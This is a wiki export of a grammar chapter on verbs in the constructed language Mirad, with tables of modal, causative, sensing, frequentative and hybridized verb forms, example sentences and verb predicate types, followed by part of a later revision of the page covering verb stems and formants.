::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>dn39nlvuz35c5x2doieji0xqvzaut2j</sha1>
    </revision>
    <revision>
      <id>4670508</id>
      <parentid>4670507</parentid>
      <timestamp>2026-09-16T20:55:18Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Expressing inter-, intra- with eb- (between) */</comment>
      <origin>4670508</origin>
      <model>wikitext</model>
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      <text bytes="141209" sha1="cilx8v47wx1oycqepahmmt3we0f38bq" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
